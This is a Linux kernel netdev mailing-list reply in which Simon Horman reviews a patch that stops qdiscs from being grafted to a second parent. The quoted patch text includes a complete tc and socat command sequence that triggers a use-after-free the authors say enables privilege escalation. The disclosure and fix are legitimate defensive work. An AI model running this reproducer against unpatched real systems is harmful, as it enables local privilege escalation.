From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from smtp.kernel.org (aws-us-west-2-korg-mail-1.web.codeaurora.org [10.30.226.201]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 356E8148855 for ; Thu, 16 Jan 2025 17:53:39 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=10.30.226.201 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1737050020; cv=none; b=XtpEfGne6GcrAy/cQVFcmeeYrKzW74hAfyoZqtCLO79HA0177uEjALVFTu3eq0ZZKlw9M6IsgrC3+ykFFXx+AtEt2mcZbdPAFCiGy0DWDLqtzXkTsqxESWd9qZ2URz8L1FNZpRAcP45TOUxylbzBaS7Opxer3rUQHegb6Ziqb5w= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1737050020; c=relaxed/simple; bh=g3yuXcbtmsBQgTodO1Cgx4mcXzwa6sQiGP1wKl3Uf84=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:In-Reply-To; b=tmkuIsV20N7jUrN3c0zjV+ejgF7s0yqzOSwYk9D0/6zzQqABf8f5YZArfX7jdrVjdRmdjChBE5u44KRmk+CNyXMvIi+Tx6F7amu2AloBCmhEcqmJkanpO7tzqOvmvRTTiuD8ZJlHZMdrranD1FB0dFYVQWoshlsyFSIKzAKcxtU= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=kernel.org header.i=@kernel.org header.b=mmtkhBs8; arc=none smtp.client-ip=10.30.226.201 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=kernel.org header.i=@kernel.org header.b="mmtkhBs8" Received: by smtp.kernel.org (Postfix) with ESMTPSA id C4D8DC4CED6; Thu, 16 Jan 2025 17:53:37 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org; s=k20201202; t=1737050019; bh=g3yuXcbtmsBQgTodO1Cgx4mcXzwa6sQiGP1wKl3Uf84=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=mmtkhBs8dVy4rbgmKe4xtHbJVcpV5f5hqOZTTEaVpJxTBVrZxMlkZzRHUGb3DymY0 lwrYaAoy9txo9mW4uvDVXTALY8vwvn24YPwpu8dZH3vBU91kik4XbMVHiobZLjEFCH NjaZg54OLzy/cqqjqLzWLsawfNmNhOHbBXA2v2d8MMZG0LgiMA0G5+Z7iUtveI+ZBN Lob5ahLOVES0yLMOAIWqzesfZBgEBmgINl8CbbTL0B6FKfaqnuLxLTAbembjF97Q1p XKuO0ADjljKesQ//97xTldEwcoaLnnoKozI5cpIbm46I0dY0VHg1PPcux68Pk6W9sK vXzuGOzCSFOng== Date: Thu, 16 Jan 2025 17:53:35 +0000 From: Simon Horman To: Jakub Kicinski Cc: davem@davemloft.net, netdev@vger.kernel.org, edumazet@google.com, pabeni@redhat.com, andrew+netdev@lunn.ch, Jamal Hadi Salim , xiyou.wangcong@gmail.com, jiri@resnulli.us Subject: Re: [PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another Message-ID: <20250116175335.GD6206@kernel.org> References: <20250116013713.900000-1-kuba@kernel.org> Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20250116013713.900000-1-kuba@kernel.org> On Wed, Jan 15, 2025 at 05:37:13PM -0800, Jakub Kicinski wrote: > From: Jamal Hadi Salim > > Lion Ackermann was able to create a UAF which can be abused for privilege > escalation with the following script > > Step 1. create root qdisc > tc qdisc add dev lo root handle 1:0 drr > > step2. a class for packet aggregation do demonstrate uaf > tc class add dev lo classid 1:1 drr > > step3. a class for nesting > tc class add dev lo classid 1:2 drr > > step4. a class to graft qdisc to > tc class add dev lo classid 1:3 drr > > step5. > tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 > > step6. > tc qdisc add dev lo parent 1:2 handle 3:0 drr > > step7. > tc class add dev lo classid 3:1 drr > > step 8. > tc qdisc add dev lo parent 3:1 handle 4:0 pfifo > > step 9. Display the class/qdisc layout > > tc class ls dev lo > class drr 1:1 root leaf 2: quantum 64Kb > class drr 1:2 root leaf 3: quantum 64Kb > class drr 3:1 root leaf 4: quantum 64Kb > > tc qdisc ls > qdisc drr 1: dev lo root refcnt 2 > qdisc plug 2: dev lo parent 1:1 > qdisc pfifo 4: dev lo parent 3:1 limit 1000p > qdisc drr 3: dev lo parent 1:2 > > step10. trigger the bug <=== prevented by this patch > tc qdisc replace dev lo parent 1:3 handle 4:0 > > step 11. Redisplay again the qdiscs/classes > > tc class ls dev lo > class drr 1:1 root leaf 2: quantum 64Kb > class drr 1:2 root leaf 3: quantum 64Kb > class drr 1:3 root leaf 4: quantum 64Kb > class drr 3:1 root leaf 4: quantum 64Kb > > tc qdisc ls > qdisc drr 1: dev lo root refcnt 2 > qdisc plug 2: dev lo parent 1:1 > qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p > qdisc drr 3: dev lo parent 1:2 > > Observe that a) parent for 4:0 does not change despite the replace request. > There can only be one parent. b) refcount has gone up by two for 4:0 and > c) both class 1:3 and 3:1 are pointing to it. > > Step 12. send one packet to plug > echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) > step13. send one packet to the grafted fifo > echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) > > step14. lets trigger the uaf > tc class delete dev lo classid 1:3 > tc class delete dev lo classid 1:1 > > The semantics of "replace" is for a del/add _on the same node_ and not > a delete from one node(3:1) and add to another node (1:3) as in step10. > While we could "fix" with a more complex approach there could be > consequences to expectations so the patch takes the preventive approach of > "disallow such config". > > Joint work with Lion Ackermann > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") > Signed-off-by: Jamal Hadi Salim > Signed-off-by: Jakub Kicinski > --- > v4: > - compare the parent directly from metadata, rather than lookup result > v3: https://lore.kernel.org/20250111151455.75480-1-jhs@mojatatu.com Reviewed-by: Simon Horman